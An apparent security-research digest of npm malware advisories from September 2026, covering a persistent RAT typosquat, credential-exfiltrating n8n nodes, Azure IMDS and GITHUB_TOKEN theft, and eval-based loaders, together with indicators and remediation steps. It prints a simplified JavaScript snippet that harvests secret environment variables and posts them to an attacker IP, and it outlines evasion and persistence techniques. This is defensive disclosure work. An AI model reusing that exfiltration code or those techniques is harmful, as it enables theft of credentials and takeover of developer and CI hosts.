GitHub Advisory malware sweep - 2026-09-14/15 (npm `pino-ulid` cross-platform persistent RAT typosquat, `noblox-asset.js` Roblox typosquat with TRLX.exe Windows binary, `n8n-nodes-sysdiag`/`sysdiag2` n8n community-node credential exfil, `concierge-sdk` dep-confusion with Azure IMDS + GITHUB_TOKEN theft, `@aiwfm/communitywfm.scripts.api` Cloudflare Workers env exfil, `get-power`/`postgreesqlhelper` get-proto base64+eval RCE)

What happened

Between roughly 2026-09-14 00:00 UTC and 2026-09-15 12:00 UTC, GitHub Advisory Database published 22 new npm malware advisories (no new PyPI, Rust, RubyGems, or Go advisories in the window). Unlike the surrounding week — which has been dominated by the 2026-09-openaii PyPI AI-SDK typosquat wave and the joko-* tea.xyz spam explosion — this batch is unusually payload-rich for a single day: six of the ten clusters below describe fully weaponised code (persistent RAT, Windows binary drop, credential exfil to hardcoded infrastructure, real Azure/GitHub cloud-credential theft, and get-proto typosquat RCE loaders), only four are the usual reconnaissance/beacon spam floor.

Cluster A - pino-ulid cross-platform persistent RAT typosquat

pino-ulid<=2.12.3 (GHSA-5qw6-rpv6-623h, MAL-2026-16154, discovered by Amazon Inspector) impersonates the popular pino structured logger and ulid ID library — the package homepage points at github.com/ulid/javascript, and ships a genuine ULID code path as cover for the malicious payload.

Detonation flow:

1. package.json postinstall runs node dist/node/utils.js
2. utils.js spawns dist/node/payload.js detached, stdio: "ignore", unref()'d
3. Payload gated by a minimum-CPU-count check (sandbox evasion) and a prior-install check across schtasks / HKCU Run / launchd / systemd / autostart (avoids reinstalling itself)
4. Installs cross-platform boot persistence:

• Linux: ~/.config/systemd/user/pkg-agent.service and/or ~/.config/autostart/pkg-agent.desktop
• macOS: ~/Library/LaunchAgents/com.launchkeeper.pkg-agent.plist
• Windows: Task Scheduler entry + HKCU\Software\Microsoft\Windows\CurrentVersion\Run value pkg-agent

1. 466 KB agent beacons to attacker-controlled C2 over WebSocket and accepts arbitrary command execution and file writes

This is a fully-formed RAT, not a reconnaissance probe. Amazon Inspector attributes it as part of a broader ongoing cross-platform typosquat campaign (the wider "800 malicious npm packages" story previously reported by The Hacker News on 2026-08-04 covers the same operator infrastructure). Treat any pino-ulid hit as a full host compromise: rotate everything the host reached, and remove persistence artefacts by name — pkg-agent / com.launchkeeper.pkg-agent are the identifiers.

Cluster B - noblox-asset.js Roblox noblox.js typosquat with Windows binary drop

noblox-asset.js@7.4.0/7.4.1/7.4.2/7.6.0 (GHSA-9pp6-m94w-8jhp, MAL-2026-16148) impersonates the legitimate noblox.js Roblox API wrapper, copying description, homepage, and repository metadata verbatim. This continues the Socket-documented Roblox-typosquat campaign that has been publishing noblox-* lookalikes since 2023.

Postinstall behaviour:

1. Sandbox detection: rejects hosts booted <15 min ago, verifies parent process, checks for x64dbg / ollydbg / IDA
2. VM detection: scans registry entries + drivers from VirtualBox, VMware, QEMU, Xen, Parallels, Hyper-V
3. Payload delivery (on non-virtualised, non-analysis hosts): downloads TRLX.exe from an external URL, executes detached from npm process for post-install persistence

Heavy obfuscation + nonsensical Chinese-character padding to deter analysis. Most likely a Roblox-developer-targeted infostealer or clipboard-hijacker, matching prior Roblox typosquat payloads. Because the binary is downloaded fresh at install time and unpinned, the same package can serve different payloads over time — the download URL is the durable IOC to block at egress.

Cluster C - n8n-nodes-sysdiag / n8n-nodes-sysdiag2 targeted n8n community-node credential exfilters

Two advisories flag matching n8n-targeting nodes:

• n8n-nodes-sysdiag@1.0.0/1.0.1/1.0.2/1.0.3/1.0.4 (GHSA-mfvv-xhj7-524c)
• n8n-nodes-sysdiag2@2.0.0 (GHSA-mx46-3mx3-r66x, hash b77e4f76…7343a990)

n8n community nodes are third-party plugins that extend the n8n workflow-automation platform; users install them via npm install n8n-nodes-*. This attack is a targeted supply-chain hit against n8n operators, not a broad-spectrum npm spam entry.

Payload:

// simplified
for (const [k, v] of Object.entries(process.env)) {
  if (/^(N8N|DB_|REDIS|QUEUE|EXECUT)/.test(k) || /KEY|SECR|PASS|ENCRYPT|PG/.test(k)) {
    exfil[k] = v
  }
}
fetch('https://121.127.33.228:443/api/v1/nodes/compat', {
  method: 'POST',
  body: Buffer.from(JSON.stringify(exfil)).toString('base64'),
})

Hardcoded bare-IP C2 (no domain — no DNS to sinkhole), obfuscated HTTP transport module references, silent error handling, and comments misrepresenting the behaviour as "version compatibility" / "telemetry reporting" for defensive review of the source. The env-var pattern matches exactly what n8n uses for its database, Redis queue, encryption key, and external-service credentials — so a hit here loses the entire n8n secret set in one round-trip.

Cluster D - concierge-sdk dep-confusion with real Azure IMDS + GITHUB_TOKEN compromise

concierge-sdk@99.99.99/99.99.100/99.99.101 (GHSA-7gx4-hj9w-hx25) is presented as a classic dep-confusion probe at sentinel version 99.99.x, but the payload is not the usual DNS/HTTP beacon — it is real cloud-credential theft:

1. exfil_v2.js runs from postinstall
2. Harvests process.env, working-directory contents, .env, secrets.json
3. Curls Azure IMDS at 169.254.169.254 to obtain a managed-identity access token for vault.azure.net
4. Uses that token to list Key Vault secrets
5. Uses runner's GITHUB_TOKEN against api.github.com to read repository secrets and Actions artifacts
6. POSTs everything to a hardcoded webhook.site endpoint
7. Companion exfil.js script duplicates env-var exfil under UA continental-sdk/1.0

Any CI host on an Azure runner (self-hosted or GHA hosted) with a managed identity that could reach a Key Vault, and a GITHUB_TOKEN with secrets: read, will have been fully drained. The lesson: sentinel-version dep-confusion is not always "just a probe". Verify payload every time before deciding severity.

Cluster E - @aiwfm/communitywfm.scripts.api targeted enterprise dep-confusion with analysis evasion

@aiwfm/communitywfm.scripts.api@28.1.28 (GHSA-cj6r-j9c8-88qp) — the naming convention (dotted-suffix .scripts.api under a workforce-management scope, at a version like an internal build number 28.1.28) is a near-perfect match for a .NET-style internal enterprise package layout. Preinstall build.js:

1. Assembles the hostname dawn-salad-18c7.mikhail-nab.workers.dev from split string fragments (defeats simple string-search scans of the source)
2. Base64-encodes the entire process.env
3. POSTs to that Cloudflare Workers endpoint on install
4. Analysis-evasion: blocks transmission on Chinese-mirror registries, proxy certificates, or sandbox paths — deliberate avoidance of security-analysis environments

Because developer and CI machines typically carry npm publish tokens, GITHUB_TOKEN, and cloud credentials as env vars, this is a bulk credential + env dump to attacker-controlled Cloudflare Workers infrastructure.

Cluster F - get-power / postgreesqlhelper npm get-proto (ljharb) impersonator RCE loaders

Two npm packages, same operator, same loader pattern:

• get-power@1.0.3 (GHSA-pjxw-c7p6-x2gq)
• postgreesqlhelper<=1.0.3 (GHSA-87qj-rx96-4w66) — doubly typosquats postgresql and get-proto

Pattern:

1. index.js decodes two base64-encoded files disguised as .map source-map files
2. Writes them to temporary .js files, require()s them, deletes to cover tracks
3. Decoded loader fetches encrypted stage-2 blob via HTTPS from a public paste host
4. Decrypts using hardcoded AES-256-CBC credentials
5. eval()s the plaintext

Whoever controls the paste has arbitrary code execution on any host that installs and loads the package. Same "impersonate a ljharb utility" pattern that has been used against has-*, safe-*, and object.* transitive dep names for years — this one specifically targets get-proto.

Cluster G - ultra-ws unpinned-tarball loader

ultra-ws@1.0.0 (GHSA-h35p-624w-rrp4) — package.json declares:

"dependencies": {
  "node-net-pool": "https://github.com/<random-throwaway-account>/<...>/tarball/<mutable-branch>"
}

npm fetches unverified bytes from an unpinned branch URL with no integrity hash. Postinstall requires the fetched module. The tarball owner can change the contents at any time without a version bump on ultra-ws itself, so a defender who examines the package at install time may see benign code, and a later install pull weaponised code. Class of attack: git-tarball-dependency loader.

Cluster H - os-info-meeb322k / strapi-plugin-os-info-meeb322k Burp Collaborator reconnaissance beacon pair

• os-info-meeb322k@1.0.0 (GHSA-5wwx-6p5f-p9vh)
• strapi-plugin-os-info-meeb322k@3.6.8 (GHSA-3jh2-p873-gc7r)

Same operator (meeb322k suffix, identical Burp Collaborator subdomain vml73pdk3ft3t434ssjycv4khbn2btzi.oastify.com). Postinstall harvests hostname / platform / kernel release / uid+gid / network interface addresses / CPU+memory, base64-encodes, POSTs over unencrypted HTTP. The strapi-plugin-* name impersonates the legitimate strapi-plugin-os-info Strapi CMS plugin. No payload beyond the OOB beacon confirming install.

Cluster I - Install-time reconnaissance beacons and dep-confusion probes

Five advisories that beacon but do not (per published analysis) carry a payload beyond that:

Cluster J - CWE-506 boilerplate takedowns (spam floor)

Six advisories are pure "any computer that has this package installed should be considered fully compromised" GHSA boilerplate with no IOCs beyond the takedown itself: @yggbrasil/api (scoped, plausibly dep-confusion), @gfe/lx-watcher (scoped, plausibly dep-confusion), expect-dotenv (reads as a dotenv typosquat), lpulogin, dilxztech, afhmxiewpsf@1.0.0-1.0.5 (random-name spam floor). Treated as medium pending payload analysis; ignore-scripts blocks any install-time behaviour they might carry.

Cross-operator patterns worth flagging

1. Sentinel-version dep-confusion is not always "just a probe" — Cluster D concierge-sdk at 99.99.x hits Azure IMDS + GITHUB_TOKEN for real. Verify payload every time before down-severity-ing a dep-confusion advisory.
2. meeb322k and mikhail-nab.workers.dev are the durable operator IDs across today's reconnaissance/exfil clusters. Block those substrings in your incident-response search rules.
3. Roblox typosquats are a recurring 2+ year campaign (Cluster B) — any Roblox-adjacent developer team should audit their npm resolution paths for noblox-* lookalikes on every review, not just when GHSA publishes a new advisory.
4. n8n community nodes are a viable targeted-supply-chain vector (Cluster C) — organisations running n8n should curate an allowlist of trusted n8n-nodes-* publishers rather than allowing bare-name npm resolution.

Registry state

All packages below are flagged as malware on npm and quarantined at the time of writing. pino-ulid and noblox-asset.js are the highest-priority hits because they leave persistent artefacts on-disk beyond simple package uninstall.

Discovery credits

GitHub Advisory Database, OpenSSF Package Analysis, OpenSSF malicious-packages, amazon-inspector. Per-package IOC details drawn verbatim from GHSA advisory bodies published between 2026-09-14 and 2026-09-15 UTC.

Affected packages (22)

Impact

• Cluster A — pino-ulid cross-platform persistent RAT typosquat (impersonates pino+ulid, sandbox evasion, WebSocket C2): pino-ulid<=2.12.3 (GHSA-5qw6-rpv6-623h, MAL-2026-16154, discovered by Amazon Inspector) — installs a persistent remotely-controlled agent on any host that runs npm install pino-ulid. Ships a genuine ULID code path as cover; the package.json postinstall runs node dist/node/utils.js which spawns dist/node/payload.js detached with stdio ignored and unref'd, gated by a minimum CPU-count check (sandbox evasion) and a prior-install check against schtasks / HKCU Run / launchd / systemd / autostart. Installs cross-platform boot persistence: ~/.config/systemd/user/pkg-agent.service and/or ~/.config/autostart/pkg-agent.desktop on Linux, ~/Library/LaunchAgents/com.launchkeeper.pkg-agent.plist on macOS, and a Task Scheduler entry plus HKCU\Software\Microsoft\Windows\CurrentVersion\Run value pkg-agent on Windows. Agent (466 KB) beacons to attacker-controlled C2 over WebSocket and accepts arbitrary command execution and file writes
• Cluster B — noblox-asset.js Roblox noblox.js typosquat (Windows binary payload, sandbox+VM evasion, TRLX.exe download): noblox-asset.js@7.4.0/7.4.1/7.4.2/7.6.0 (GHSA-9pp6-m94w-8jhp, MAL-2026-16148) — impersonates the legitimate noblox.js Roblox API wrapper, copying description, homepage, and repository metadata. Postinstall performs sandbox detection (rejects hosts booted <15 min ago, checks parent process, checks for x64dbg/ollydbg/IDA), VM detection (VirtualBox/VMware/QEMU/Xen/Parallels/Hyper-V registry+driver scan), and — on non-virtualised hosts — downloads and executes TRLX.exe from an external URL, detached from the npm process for persistence beyond install. Continues the multi-year Socket-documented Roblox-targeted npm campaign that has been repeatedly published under noblox lookalikes
• Cluster C — n8n-nodes-sysdiag / n8n-nodes-sysdiag2 n8n community-node credential exfilters (targets n8n workflow automation): n8n-nodes-sysdiag@1.0.0/1.0.1/1.0.2/1.0.3/1.0.4 (GHSA-mfvv-xhj7-524c) and n8n-nodes-sysdiag2@2.0.0 (GHSA-mx46-3mx3-r66x, hash b77e4f76…7343a990) — masquerade as n8n health-check community nodes for the n8n workflow-automation platform. Enumerates process.env filtering for keys matching N8N, DB_, REDIS, QUEUE, EXECUT, and anything containing KEY, SECR, PASS, ENCRYPT, or PG; base64-encodes selected values and POSTs to hardcoded bare-IP 121.127.33.228:443/api/v1/nodes/compat. Obfuscated HTTP transport, silent error handling, and misleading "version compatibility" / "telemetry reporting" comments. Any n8n installation that added this node had its database password, Redis credentials, encryption keys, and cloud credentials stolen
• Cluster D — concierge-sdk dep-confusion at sentinel v99.99.99+ with real Azure IMDS + GITHUB_TOKEN theft (NOT just a beacon — full CI credential compromise): concierge-sdk@99.99.99/99.99.100/99.99.101 (GHSA-7gx4-hj9w-hx25) — dependency-confusion at classic sentinel version, but unlike the usual beacon-only probes this one has a real payload. Postinstall runs exfil_v2.js which harvests process.env, working-directory contents, .env, and secrets.json; curls Azure Instance Metadata Service (169.254.169.254) to obtain a managed-identity access token for vault.azure.net and lists Key Vault secrets; uses runner's GITHUB_TOKEN against api.github.com to read repository secrets and Actions artifacts. Companion exfil.js duplicates env-var exfil under UA continental-sdk/1.0. Any CI host that resolved concierge-sdk at 99.99.x had its Azure Key Vault + GitHub repository secrets compromised — this warrants a full rotation, not just uninstall
• Cluster E — @aiwfm/communitywfm.scripts.api npm dep-confusion (Cloudflare Workers env exfil, analysis-evasion filters): @aiwfm/communitywfm.scripts.api@28.1.28 (GHSA-cj6r-j9c8-88qp). The .scripts.api dotted-suffix naming convention matches internal .NET-style enterprise package layouts, suggesting a targeted dep-confusion pick. Preinstall build.js assembles the hostname dawn-salad-18c7.mikhail-nab.workers.dev from split string fragments, base64-encodes the entire process.env, and POSTs to the Cloudflare Workers endpoint on install. Includes evasion filters that block transmission on Chinese-mirror registries, proxy certificates, or sandbox paths — deliberate analysis-environment avoidance. Bulk credential + env-var exfil to attacker-controlled Cloudflare Workers
• Cluster F — get-power / postgreesqlhelper npm get-proto (ljharb) impersonator RCE loaders (base64+eval, encrypted stage-2): get-power@1.0.3 (GHSA-pjxw-c7p6-x2gq) and postgreesqlhelper<=1.0.3 (GHSA-87qj-rx96-4w66) — both npm packages impersonate ljharb/get-proto. index.js decodes two base64-encoded files disguised as source maps into executable JS, requires them, then deletes them to cover tracks. The decoded loader fetches an encrypted stage-2 blob via axios / HTTPS from a public paste host, decrypts with hardcoded AES-256-CBC credentials, and eval()s the plaintext — granting whoever controls the paste arbitrary code execution on any host that installs and loads the package. postgreesqlhelper doubles as a postgresql misspelling
• Cluster G — ultra-ws npm unpinned-tarball loader (throwaway GH account, integrity-free branch fetch): ultra-ws@1.0.0 (GHSA-h35p-624w-rrp4) — package.json declares dependency on node-net-pool sourced from a tarball URL on a random third-party GitHub account (not the npm registry). npm fetches unverified bytes from an unpinned branch URL with no integrity check; postinstall requires the fetched module. Random throwaway-shaped account + mutable branch = arbitrary code execution at any time without a version bump. Same class as historical "tarball-dep from a fresh gist/branch" loaders that other researchers have flagged for years
• Cluster H — os-info-meeb322k / strapi-plugin-os-info-meeb322k Burp Collaborator reconnaissance beacon pair (same operator, strapi-plugin-os-info impersonation): os-info-meeb322k@1.0.0 (GHSA-5wwx-6p5f-p9vh) and strapi-plugin-os-info-meeb322k@3.6.8 (GHSA-3jh2-p873-gc7r) — same operator (meeb322k suffix, identical Burp Collaborator subdomain vml73pdk3ft3t434ssjycv4khbn2btzi.oastify.com). Postinstall harvests hostname / platform / kernel release / uid+gid / network interface addresses / CPU+memory, base64-encodes, POSTs over unencrypted HTTP. The strapi-plugin-* name impersonates the legitimate strapi-plugin-os-info Strapi CMS plugin. No payload beyond the OOB beacon confirming install — treat as reconnaissance probes
• Cluster I — Install-time reconnaissance beacons and dep-confusion probes (no payload beyond Burp/webhook.site beacon): sql-limit-enforcer@10.0.0 (GHSA-vjjr-9qv2-mh33) — hostname/user/os to webhook.site/13d98b4a-1999-4ec7-92c9-0697c259ca05, package.json points at non-existent index.js while payload lives in main.js; web-main@22.1.2 (GHSA-mq47-gfmg-59pp) — whoami/id/pwd output to smi54v4uvb9q7ve5t6fnyro16scj0co1.oastify.com/system-info Burp Collaborator; app-rrhh@999.0.0 (GHSA-c9r8-qhjh-h69j) — dep-confusion at sentinel v999, curl to Burp Collaborator subdomain with username+hostname in URL path (RRHH is Spanish for HR — probably an internal HR-app namespace squat); @merazmz/project-tracker + meraz-project-tracker (GHSA-x98w-cqq8-v3q2, GHSA-54v8-j59m-366h) — matched scoped+unscoped pair, standard CWE-506 boilerplate takedowns, most plausibly a dep-confusion probe pair for an internal project-tracker name
• Cluster J — CWE-506 boilerplate takedowns with no published payload analysis (spam floor): @yggbrasil/api (GHSA-cmxv-8vgc-m43c), @gfe/lx-watcher (GHSA-wg37-hw83-hqwf), expect-dotenv (GHSA-h7q6-7chv-cgh2), lpulogin (GHSA-5823-3hg3-27v8), dilxztech (GHSA-5wh2-j94m-rwpf), afhmxiewpsf@1.0.0-1.0.5 (GHSA-59f6-ch49-395j) — all standard "any computer that has this package installed should be considered fully compromised" GHSA boilerplate with no IOCs beyond the takedown itself. @yggbrasil/api and @gfe/lx-watcher are scoped so most likely dep-confusion probes; expect-dotenv reads as a dotenv typosquat; afhmxiewpsf and dilxztech are random-name spam floor. Treat as medium pending payload analysis

What to do

1. 1Grep every package-lock.json, yarn.lock, pnpm-lock.yaml, package.json, and any n8n custom-node config in your org for the specific package names in Clusters A-F. Uninstall on hit, wipe node_modules, delete the lockfile, rebuild against a clean cache, and rotate every credential the affected host could have touched. Clusters A-F each involve real payloads beyond beacons — a hit is a compromise, not a warning
2. 2For Cluster A pino-ulid: any host that ran npm install pino-ulid at <=2.12.3 is running a persistent multi-OS RAT with WebSocket C2. Rotate everything reachable from the host and remove persistence by hand: ~/.config/systemd/user/pkg-agent.service, ~/.config/autostart/pkg-agent.desktop, ~/Library/LaunchAgents/com.launchkeeper.pkg-agent.plist, Task Scheduler task pkg-agent, and the HKCU\Software\Microsoft\Windows\CurrentVersion\Run value pkg-agent. Pin the real pino and ulid explicitly in package.json; add pino-ulid to your internal-mirror denylist. --ignore-scripts blocks initial install-time detonation but not subsequent import-time triggers if the code has already been pulled onto disk
3. 3For Cluster B noblox-asset.js: hosts (typically Windows dev workstations) that ran npm install noblox-asset.js at v7.4.x/7.6.0 downloaded and executed TRLX.exe. Reimage or run a full AV/EDR sweep — the binary is unpinned and persists detached from npm. Pin the real noblox.js (dot, no -asset) explicitly. Add noblox-asset.js and other noblox-* combosquats to your internal-mirror denylist. Any Roblox-adjacent developer team should treat this as recurring: the Socket-documented Roblox typosquat campaign has been running since 2023
4. 4For Cluster C n8n-nodes-sysdiag/sysdiag2: any n8n installation with these community nodes exfiltrated its full n8n secret set (database password, Redis, encryption key, cloud creds) to 121.127.33.228:443. Rotate every N8N_*, DB_*, REDIS*, QUEUE*, EXECUT* env var and anything matching *KEY*/*SECR*/*PASS*/*ENCRYPT*/*PG* on the affected host. Curate an allowlist of trusted n8n community node publishers rather than allowing bare n8n-nodes-* names from arbitrary npm publishers. Block 121.127.33.228 at egress
5. 5For Cluster D concierge-sdk: any CI host that resolved concierge-sdk@99.99.x had its Azure Key Vault secrets and GitHub repository secrets read out. Rotate ALL Azure Key Vault entries the runner's managed identity could reach, ALL GitHub repository secrets and Actions secrets, and every secrets.json/.env on the runner. Set --index-url explicitly to your internal mirror in every CI pip config/npm config invocation, and audit runners for any past install of a sentinel-version package. Sentinel-version dep-confusion is not always "just a beacon" — verify payload every time
6. 6For Cluster E @aiwfm/communitywfm.scripts.api: any host that installed this package sent its process.env (including npm/registry tokens, GitHub OIDC exchange creds, cloud creds) to dawn-salad-18c7.mikhail-nab.workers.dev. Rotate every secret the affected host had access to. Ensure your .npmrc pins the @aiwfm scope (and every internal WFM/scheduling-namespace scope) to your internal registry — dotted-suffix names like .scripts.api are almost always internal .NET-style enterprise namespaces that should never resolve on public npm
7. 7For Cluster F get-power and postgreesqlhelper: any process that loaded these packages ran attacker-controlled JS from a public paste host. Rotate everything on the affected host, then pin the real get-proto (ljharb/es-shims) explicitly; add get-power and postgreesqlhelper to internal deny-lists. Treat any generic-sounding "helper" or "power" npm name suspiciously — the "impersonate a widely-installed transitive util" pattern is a common get-proto/safe-*/has-* typosquat vector
8. 8For Cluster G ultra-ws: block npm install of any package whose dependencies include a bare github: or tarball URL from a non-org account at your CI/private-registry layer. If any of your own packages accepted a tarball-URL dependency in a PR review recently, audit that PR for the same throwaway-account pattern
9. 9For Clusters H-J (reconnaissance beacons and CWE-506 boilerplate): uninstall on hit, rotate .env values (env vars in CI usually leak in beacons like these), and no host-forensics response is required beyond routine credential-rotation prudence — these are lower-severity probes with no confirmed post-install payload. --ignore-scripts on npm ci blocks all Cluster H-I install-time payloads
10. 10For every npm install in CI, prefer --ignore-scripts or an equivalent lockfile-consumer mode that blocks pre/post-install hooks. This blocks Clusters C-J entirely but does NOT block Clusters A/B (both re-detonate on import/runtime, or in the Cluster B case rely on the postinstall already having run once)
11. 11Add every specific name below to internal private-registry deny-lists for at least 30 days to prevent re-uploads by rotating operators. Extend your existing @aiwfm/@yggbrasil/@gfe/@merazmz scope pins to block any scope that appears in a CWE-506 GHSA advisory even without published payload analysis — dep-confusion probes routinely re-upload under fresh scopes

References

• GitHub Advisory Database - recent malware advisories

  github.com
  GitHub
• GHSA-5qw6-rpv6-623h - pino-ulid (Cluster A - cross-platform persistent RAT typosquat of pino+ulid)

  github.com
  GitHub
• MAL-2026-16154 - pino-ulid (OSV / OpenSSF malicious-packages)

  vulners.com
  OSV / OpenSSF
• GHSA-9pp6-m94w-8jhp - noblox-asset.js (Cluster B - Roblox noblox.js typosquat, TRLX.exe drop)

  github.com
  GitHub
• Socket: Malicious npm Package Masquerades as Noblox.js, Targeting Roblox Users for Data Theft (background on Roblox typosquat campaign)

  socket.dev
  Socket
• GHSA-mfvv-xhj7-524c - n8n-nodes-sysdiag (Cluster C - n8n community-node credential exfil)

  github.com
  GitHub
• GHSA-mx46-3mx3-r66x - n8n-nodes-sysdiag2 (Cluster C)

  github.com
  GitHub
• GHSA-7gx4-hj9w-hx25 - concierge-sdk (Cluster D - dep-confusion at v99.99.x, Azure IMDS + GITHUB_TOKEN theft)

  github.com
  GitHub
• GHSA-cj6r-j9c8-88qp - @aiwfm/communitywfm.scripts.api (Cluster E - enterprise dep-confusion, Cloudflare Workers env exfil)

  github.com
  GitHub
• GHSA-pjxw-c7p6-x2gq - get-power (Cluster F - get-proto impersonator RCE loader)

  github.com
  GitHub
• GHSA-87qj-rx96-4w66 - postgreesqlhelper (Cluster F - get-proto impersonator + postgresql typosquat)

  github.com
  GitHub
• GHSA-h35p-624w-rrp4 - ultra-ws (Cluster G - unpinned-tarball loader from throwaway GH account)

  github.com
  GitHub
• GHSA-5wwx-6p5f-p9vh - os-info-meeb322k (Cluster H - Burp Collaborator recon beacon)

  github.com
  GitHub
• GHSA-3jh2-p873-gc7r - strapi-plugin-os-info-meeb322k (Cluster H - strapi-plugin-os-info impersonator)

  github.com
  GitHub
• GHSA-vjjr-9qv2-mh33 - sql-limit-enforcer (Cluster I - install-time recon beacon)

  github.com
  GitHub
• GHSA-mq47-gfmg-59pp - web-main (Cluster I - Burp Collaborator recon beacon)

  github.com
  GitHub
• GHSA-c9r8-qhjh-h69j - app-rrhh (Cluster I - dep-confusion probe at v999.0.0)

  github.com
  GitHub
• GHSA-x98w-cqq8-v3q2 - @merazmz/project-tracker (Cluster I - matched scoped+unscoped dep-confusion pair)

  github.com
  GitHub
• GHSA-54v8-j59m-366h - meraz-project-tracker (Cluster I)

  github.com
  GitHub
• GHSA-cmxv-8vgc-m43c - @yggbrasil/api (Cluster J - scoped CWE-506 boilerplate)

  github.com
  GitHub
• GHSA-wg37-hw83-hqwf - @gfe/lx-watcher (Cluster J)

  github.com
  GitHub
• GHSA-h7q6-7chv-cgh2 - expect-dotenv (Cluster J - dotenv typosquat, CWE-506)

  github.com
  GitHub
• GHSA-5823-3hg3-27v8 - lpulogin (Cluster J)

  github.com
  GitHub
• GHSA-5wh2-j94m-rwpf - dilxztech (Cluster J)

  github.com
  GitHub
• GHSA-59f6-ch49-395j - afhmxiewpsf (Cluster J - random-name spam floor)

  github.com
  GitHub
• OpenSSF malicious-packages repository

  github.com
  OpenSSF